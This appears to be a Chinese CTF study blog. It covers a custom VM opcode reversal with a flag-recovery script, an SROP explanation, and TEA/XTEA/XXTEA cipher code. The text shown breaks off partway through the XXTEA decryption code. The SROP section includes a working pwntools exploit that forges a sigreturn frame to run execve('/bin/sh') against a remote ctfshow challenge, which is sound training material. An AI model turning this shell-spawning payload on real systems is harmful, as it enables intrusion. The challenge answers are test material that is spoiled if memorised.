0x00, 0xF1, 0xE1, 0x0A, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x2A, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0B, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x2B, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0C,
0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2C, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2D,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x2E, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0F, 0x00,
0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2F, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x10, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x30, 0x00,
0x00, 0x00, 0xF1, 0xE1, 0x11, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x31, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x12, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x32, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x13, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x33, 0x00, 0x00,
0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xF1,
0xE1, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x01, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x01, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x02, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02,
0x00, 0x00, 0x00, 0xF1, 0xE2, 0x03, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x03, 0x00,
0x00, 0x00, 0xF1, 0xE2, 0x04, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00,
0x00, 0xF1, 0xE2, 0x05, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x04, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00, 0x00, 0x00,
0xF1, 0xE2, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x05,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x06, 0x00, 0x00, 0x00, 0xF1,
0xE2, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x08, 0x00, 0x00,
0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1,
0xE4, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00,
0x00, 0xF1, 0xE2, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x09,
0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6,
0xF7, 0xF1, 0xE4, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08,
0x00, 0x00, 0x00, 0xF1, 0xE2, 0x09, 0x00, 0x00, 0x00, 0xF1,
0xE3, 0x0A, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00,
0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x08, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x13, 0x00, 0x00,
0x00, 0xF8, 0xF1, 0xE4, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE7,
0x13, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00,
0xF1, 0xE2, 0x12, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0E,
0x00, 0x00, 0x00, 0xF1, 0xE7, 0x12, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x11, 0x00, 0x00,
0x00, 0xF8, 0xF1, 0xE4, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE7,
0x11, 0x00, 0x00, 0x00, 0xF4]
i = 0
for i in range(len(opcode)):
if (opcode[i] == 0xF1):
print('mov ', end='')
if (opcode[i + 1] == 0xE1):
print('eax ' + 'flag[' + str(opcode[i + 2]) + ']')
elif (opcode[i + 1] == 0xE2):
print('ebx ' + 'flag[' + str(opcode[i + 2]) + ']')
elif (opcode[i + 1] == 0xE3):
print('ecx ' + 'flag[' + str(opcode[i + 2]) + ']')
elif (opcode[i + 1] == 0xE4):
print('flag[' + str(opcode[i + 2]) + '] ' + 'eax')
elif (opcode[i + 1] == 0xE5):
print('edx ' + 'flag[' + str(opcode[i + 2]) + ']')
elif (opcode[i + 1] == 0xE7):
print('flag[' + str(opcode[i + 2]) + '] ' + 'ebx')
i += 6
elif (opcode[i] == 0xF2):
print('xor eax ebx')
i += 1
elif (opcode[i] == 0xF5):
print('read')
i += 1
elif (opcode[i] == 0xF4):
print('nop')
i += 1
elif (opcode[i] == 0xF7):
print('mul eax edx')
i += 1
elif (opcode[i] == 0xF8):
print('swap eax ebx')
i += 1
elif (opcode[i] == 0xF6):
print('mov eax=3*eax+2*ebx+ecx')
i += 1
else:
i += 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
read
mov eax flag[0]
xor eax ebx
mov flag[32] eax
mov eax flag[1]
xor eax ebx
mov flag[33] eax
mov eax flag[2]
xor eax ebx
mov flag[34] eax
mov eax flag[3]
xor eax ebx
mov flag[35] eax
mov eax flag[4]
xor eax ebx
mov flag[36] eax
mov eax flag[5]
xor eax ebx
mov flag[37] eax
mov eax flag[6]
xor eax ebx
mov flag[38] eax
mov eax flag[7]
xor eax ebx
mov flag[39] eax
mov eax flag[8]
xor eax ebx
mov flag[40] eax
mov eax flag[9]
xor eax ebx
mov flag[41] eax
mov eax flag[10]
xor eax ebx
mov flag[42] eax
mov eax flag[11]
xor eax ebx
mov flag[43] eax
mov eax flag[12]
xor eax ebx
mov flag[44] eax
mov eax flag[13]
xor eax ebx
mov flag[45] eax
mov eax flag[14]
xor eax ebx
mov flag[46] eax
mov eax flag[15]
xor eax ebx
mov flag[47] eax
mov eax flag[16]
xor eax ebx
mov flag[48] eax
mov eax flag[17]
xor eax ebx
mov flag[49] eax
mov eax flag[18]
xor eax ebx
mov flag[50] eax
mov eax flag[19]
xor eax ebx
mov flag[51] eax
nop
read
mov eax flag[0]
mov ebx flag[1]
xor eax ebx
mov flag[0] eax
mov eax flag[1]
mov ebx flag[2]
xor eax ebx
mov flag[1] eax
mov eax flag[2]
mov ebx flag[3]
xor eax ebx
mov flag[2] eax
mov eax flag[3]
mov ebx flag[4]
xor eax ebx
mov flag[3] eax
mov eax flag[4]
mov ebx flag[5]
xor eax ebx
mov flag[4] eax
mov eax flag[5]
mov ebx flag[6]
xor eax ebx
mov flag[5] eax
mov eax flag[6]
mov ebx flag[7]
mov ecx flag[8]
mov edx flag[12]
mov eax=3*eax+2*ebx+ecx
mul eax edx
mov flag[6] eax
mov eax flag[7]
mov ebx flag[8]
mov ecx flag[9]
mov edx flag[12]
mov eax=3*eax+2*ebx+ecx
mul eax edx
mov flag[7] eax
mov eax flag[8]
mov ebx flag[9]
mov ecx flag[10]
mov edx flag[12]
mov eax=3*eax+2*ebx+ecx
mul eax edx
mov flag[8] eax
mov eax flag[13]
mov ebx flag[19]
swap eax ebx
mov flag[13] eax
mov flag[19] ebx
mov eax flag[14]
mov ebx flag[18]
swap eax ebx
mov flag[14] eax
mov flag[18] ebx
mov eax flag[15]
mov ebx flag[17]
swap eax ebx
mov flag[15] eax
mov flag[17] ebx
nop

第一段是假的,第二段是真的,逆向的得到真的flag的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
def decrypt_flag():
# 1. 已知密文字节数组(来自题目.data段)
cipher = [0x69, 0x45, 0x2A, 0x37, 0x09, 0x17, 0xC5, 0x0B,
0x5C, 0x72, 0x33, 0x76, 0x33, 0x21, 0x74, 0x31,
0x5F, 0x33, 0x73, 0x72]

# 2. 步骤1:反转交换操作(还原到乘法操作后的状态M)
# 交换规则:M[13]=C[19], M[19]=C[13]; M[14]=C[18], M[18]=C[14]; M[15]=C[17], M[17]=C[15]
M = cipher.copy()
M[13], M[19] = M[19], M[13]
M[14], M[18] = M[18], M[14]
M[15], M[17] = M[17], M[15]

# 3. 步骤2:求解乘法逆元,还原B[6]、B[7]、B[8](即原始F[6]、F[7]、F[8])
# 已知条件:M[12] = 0x33 = 51(K),其模256逆元为251(提前计算得出)
K = M[12] # 51
K_inv = 251 # 51 mod 256的逆元

# 计算S6、S7、S8(乘法操作前的线性组合值)
S6 = (M[6] * K_inv) % 256 # M[6] = 0xC5 = 197
S7 = (M[7] * K_inv) % 256 # M[7] = 0x0B = 11
S8 = (M[8] * K_inv) % 256 # M[8] = 0x5C = 92

# 已知M[9] = 0x72 = 114,M[10] = 0x33 = 51(原始F[9]、F[10])
F9 = M[9]
F10 = M[10]

# 解B[8](F[8]):3*F8 + 2*F9 + F10 ≡ S8 mod 256
# 推导:3*F8 = S8 - (2*F9 + F10) mod 256 → F8 = (结果 * 3逆元) mod 256
inv3 = 171 # 3 mod 256的逆元
temp8 = (S8 - (2 * F9 + F10)) % 256
F8 = (temp8 * inv3) % 256 # 结果:0x5F = 95

# 解B[7](F[7]):3*F7 + 2*F8 + F9 ≡ S7 mod 256
temp7 = (S7 - (2 * F8 + F9)) % 256
F7 = (temp7 * inv3) % 256 # 结果:0x33 = 51

# 解B[6](F[6]):3*F6 + 2*F7 + F8 ≡ S6 mod 256
temp6 = (S6 - (2 * F7 + F8)) % 256
F6 = (temp6 * inv3) % 256 # 结果:0x76 = 118

# 4. 步骤3:逆向XOR链,还原F[0]~F[5]
# 已知:B[0]~B[5] = M[0]~M[5](XOR后的结果),F[6]已求出
B = M[:6] # B[0]~B[5] = [0x69, 0x45, 0x2A, 0x37, 0x09, 0x17]
F = [0] * 20 # 原始flag数组(F[0]~F[19])

# 先填充已知的F[6]~F[19]
F[6] = F6
F[7] = F7
F[8] = F8
F[9] = F9
F[10] = F10
F[11] = M[11] # M[11] = 0x76 = 118(未被修改)
F[12] = K # M[12] = 51(未被修改)
F[13] = M[13] # 反转交换后的值(原始F[13])
F[14] = M[14] # 原始F[14]
F[15] = M[15] # 原始F[15]
F[16] = M[16] # M[16] = 0x5F = 95(未被修改)
F[17] = M[17] # 原始F[17]
F[18] = M[18] # 原始F[18]
F[19] = M[19] # 原始F[19]

# 逆向XOR链(从F[5]倒推到F[0])
# 公式:F[i] = B[i] ^ F[i+1](因B[i] = F[i] ^ F[i+1])
F[5] = B[5] ^ F[6] # B[5] = 0x17 = 23
F[4] = B[4] ^ F[5] # B[4] = 0x09 = 9
F[3] = B[3] ^ F[4] # B[3] = 0x37 = 55
F[2] = B[2] ^ F[3] # B[2] = 0x2A = 42
F[1] = B[1] ^ F[2] # B[1] = 0x45 = 69
F[0] = B[0] ^ F[1] # B[0] = 0x69 = 105

# 5. 步骤4:转换为ASCII字符串,得到原始flag
flag = ''.join([chr(byte) for byte in F])
flag_hex = ''.join([f'{byte:02X}' for byte in F])

# 输出结果
print("原始flag(ASCII):", flag)
print("原始flag(十六进制):", flag_hex)


if __name__ == "__main__":
decrypt_flag()
1
Y0u_hav3_r3v3rs3_1t!

介绍

SROP 是一种高级的漏洞利用技术,它通过篡改内核存储在用户空间栈上的信号上下文(Signal Context),并主动调用一个特殊系统调用 sigreturn(),来让内核无条件地将这片被篡改的上下文恢复到CPU的所有寄存器中,从而实现一种“全能”的攻击效果。

SROP - CTF Wiki上解释的很清楚,这里我就从这写自己学习的过程,几乎是照搬。

signal 机制

1

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

1

signal Frame

x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

攻击原理

signal Frame是可读可写的,所以我们可以改动signal Frame来构造恶意的ROP,当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。

1

system call chains

需要指出的是,上面的例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可。

  • 控制栈指针。
  • 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。

如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用。

1

需要满足的条件

  • 可以通过栈溢出来控制栈的内容
  • 需要知道相应的地址
    • “/bin/sh”
    • Signal Frame
    • syscall
    • sigreturn

例题

ctfshow pwn86

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rax
signed __int64 v4; // rax

v3 = sys_write(1u, global_pwn, 0x17uLL);
if ( (unsigned __int64)sys_read(0, global_buf, 0x200uLL) >= 0xF8 )
__asm { syscall; LINUX - sys_rt_sigreturn }
v4 = sys_exit(0);
return 0;
}

sys_read(0, global_buf, 0x200uLL)就是读入的栈帧(signal frame)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

# 设置上下文信息
context(arch='amd64', os='linux', log_level='debug')

def main():
# 加载目标二进制文件
elf = ELF('./pwn')

# 连接到目标
# p = process('./pwn') # 本地测试
p = remote("pwn.challenge.ctf.show", "28236") # 远程连接
#elf.sym['global_buf'] = 0x601040
#elf.sym['syscall'] = 0x400147
# 定义常量
BIN_SH_OFFSET = 0x100 # "/bin/sh"字符串在缓冲区中的偏移

# 构造信号返回帧
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 系统调用号
frame.rdi = elf.sym['global_buf'] + BIN_SH_OFFSET # 参数字符串地址
frame.rsi = 0 # argv参数
frame.rdx = 0 # envp参数
frame.rip = elf.sym['syscall'] # 返回后执行的指令地址

log.info("构造的信号返回帧:")
log.info(f"RAX = {frame.rax} (SYS_execve)")
log.info(f"RDI = {hex(frame.rdi)} (global_buf + {BIN_SH_OFFSET})")
log.info(f"RIP = {hex(frame.rip)} (syscall)")

# 构造攻击载荷
payload = bytes(frame)
padding = b'A' * (BIN_SH_OFFSET - len(payload))
bin_sh = b'/bin/sh\x00'

full_payload = payload + padding + bin_sh

log.info(f"载荷长度: {len(full_payload)} 字节")
log.info(f"帧数据: {len(payload)} 字节")
log.info(f"填充数据: {len(padding)} 字节")
log.info(f"字符串数据: {len(bin_sh)} 字节")

# 发送载荷
p.send(full_payload)

# 切换到交互模式
p.interactive()

if __name__ == "__main__":
main()

开始tea加密的学习

tea

加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdint.h>

// 加密函数
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++) {
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
}
v[0] = v0;
v[1] = v1;
}

int main() {
// 明文分组(小端序十六进制)
uint32_t plaintext[8] = {
0x67616C66, 0x3332317B, 0x37363534, 0x30303938,
0x34333231, 0x38373635, 0x32313039, 0x7D353433
};

// 密钥(小端序十六进制)
uint32_t key[4] = {
0x34333231, 0x38373635, 0x32313039, 0x36353433
};

// 打印原始明文
printf("原始明文(小端序十六进制):\n");
for (int i = 0; i < 8; i++) {
printf("0x%08X ", plaintext[i]);
if (i % 2 == 1) printf("\n");
}

// 对每个64位分组进行加密
for (int i = 0; i < 8; i += 2) {
uint32_t v[2] = { plaintext[i], plaintext[i + 1] };
encrypt(v, key);
plaintext[i] = v[0];
plaintext[i + 1] = v[1];
}

// 打印加密后的密文
printf("\n加密后的密文(小端序十六进制):\n");
for (int i = 0; i < 8; i++) {
printf("0x%08X ", plaintext[i]);
if (i % 2 == 1) printf("\n");
}

return 0;
}

python和c与语言在tea加密的时候会发现有时候会不一样,其中有可能是小端序储存的问题。

解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdint.h>

void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0;
v[1] = v1;
}

int main() {
uint32_t k[4] = {0x34333231, 0x38373635, 0x32313039, 0x36353433}; // 密钥
uint32_t blocks[4][2] = {
{0x4438A9E2, 0x39D00322}, // 密文块1
{0x55564858, 0x0414AC05}, // 密文块2
{0x4D66EF71, 0x5ABD1754}, // 密文块3
{0x94554B4A, 0x8F3245C0} // 密文块4
};

for (int i = 0; i < 4; i++) {
uint32_t v[2] = {blocks[i][0], blocks[i][1]};
decrypt(v, k);
// 将解密后的uint32_t转换为小端序字节序列并输出
uint8_t *bytes = (uint8_t *)v;
for (int j = 0; j < 8; j++) {
printf("%c", bytes[j]);
}
}
printf("\n");
return 0;
}

介绍

TEA(Tiny Encryption Algorithm)是一种分组密码算法,由David Wheeler和Roger Needham于1994年提出。它采用64位数据块和128位

密钥,具有简单、高效的特点。算法使用32轮循环的Feistel结构,每轮操作包括移位、异或和加法

最常魔改点

delta = 0x9e3779b9(标准) 这里经常会被换成别的数据

在反汇编中x-=0x61c88647和x+=0x9e3779b9,这两个值是等价的。

进行32轮循环,每轮执行以下操作:

1
2
3
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);

解密的换就反过来进行32次就可以了

1
2
3
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;

xtea

加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdint.h>
#include <string.h>

/* XTEA加密函数 */
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x9E3779B9;
for (i = 0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
}
v[0] = v0;
v[1] = v1;
}

int main() {
// 原始明文(小端序十六进制)
uint32_t plaintext[8] = {
0x67616C66, 0x3332317B, 0x37363534, 0x30303938,
0x34333231, 0x38373635, 0x32313039, 0x7D353433
};

// 原始密钥(小端序十六进制)
uint32_t const key[4] = {
0x34333231, 0x38373635, 0x32313039, 0x36353433
};

unsigned int num_rounds = 32;

printf("原始明文:\n");
for (int i = 0; i < 8; i++) {
printf("%08X ", plaintext[i]);
if (i % 2 == 1) printf("\n");
}

// 对每个64位块进行加密
for (int i = 0; i < 8; i += 2) {
uint32_t block[2] = { plaintext[i], plaintext[i + 1] };
encipher(num_rounds, block, key);
plaintext[i] = block[0];
plaintext[i + 1] = block[1];
}

printf("\n加密后的密文:\n");
for (int i = 0; i < 8; i++) {
printf("%08X ", plaintext[i]);
if (i % 2 == 1) printf("\n");
}

return 0;
}

解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdint.h>

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta * num_rounds;
for (i = 0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0;
v[1] = v1;
}

int main() {
uint32_t const key[4] = { 0x34333231, 0x38373635, 0x32313039, 0x36353433 }; // 密钥
unsigned int r = 32; // 轮数

// 密文分组
uint32_t ciphertext[4][2] = {
{0x37DB3CE9, 0x6C07F159},
{0xE1893135, 0x57978EA8},
{0xB159F7E6, 0x439F8389},
{0x988499C3, 0x9765BBF9}
};

printf("解密后的数据:\n");
for (int i = 0; i < 4; i++) {
uint32_t v[2] = { ciphertext[i][0], ciphertext[i][1] };
decipher(r, v, key);
printf("组 %d: 0x%08X 0x%08X\n", i + 1, v[0], v[1]);

// 将解密后的32位整数转换为字节序列(小端序)以显示为字符串
unsigned char* bytes = (unsigned char*)v;
printf(" 作为字节序列: ");
for (int j = 0; j < 8; j++) {
printf("%02X ", bytes[j]);
}
printf("\n 可能作为字符串: ");
for (int j = 0; j < 8; j++) {
if (bytes[j] >= 32 && bytes[j] <= 126) {
printf("%c", bytes[j]);
}
else {
printf(".");
}
}
printf("\n\n");
}

return 0;
}

介绍

XTEA(eXtended TEA)是 TEA 算法的改进版,由 David Wheeler 和 Roger Needham 于 1997 年提出,主要修复了 TEA 的相关密钥攻击漏洞,以 64 位为数据块、128 位为密钥,通过 32 轮包含加 / 减、循环移位和异或的操作实现加密解密,因轻量易实现、对资源需求低,常用于嵌入式设备等场景。

最常魔改点

delta是魔数0x9E3779B9 这个数据经常被换。

加密核心

1
2
3
4
5
6
7
8
9
10
11
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x9E3779B9; // 初始化
for (i = 0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); // 对左半块操作
sum += delta; // 更新“轮常量”
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]); // 对右半块操作
}
v[0] = v0; // 加密后的左半块
v[1] = v1; // 加密后的右半块
}

解密的换就反过来进行

1
2
3
4
5
6
7
8
9
10
11
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta * num_rounds; // 初始化sum为最终值
for (i = 0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]); // 逆向操作右半块
sum -= delta; // 逆向更新sum
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); // 逆向操作左半块
}
v[0] = v0;
v[1] = v1;
}

xxtea

加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdint.h>

#define DELTA 0x9e3779b9
#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) {
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
}

int main() {
uint32_t v[8] = {
0x67616C66, 0x3332317B, 0x37363534, 0x30303938,
0x34333231, 0x38373635, 0x32313039, 0x7D353433
};
uint32_t const k[4] = { 0x34333231, 0x38373635, 0x32313039, 0x36353433 };
int n = 8;

printf("原始明文(小端序十六进制):\n");
for (int i = 0; i < n; i++) {
printf("0x%08X ", v[i]);
}
printf("\n");

btea(v, n, k);

printf("加密后的数据(十六进制):\n");
for (int i = 0; i < n; i++) {
printf("0x%08X ", v[i]);
}
printf("\n");

return 0;
}

解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <stdint.h>

#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) { /* Coding Part */
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
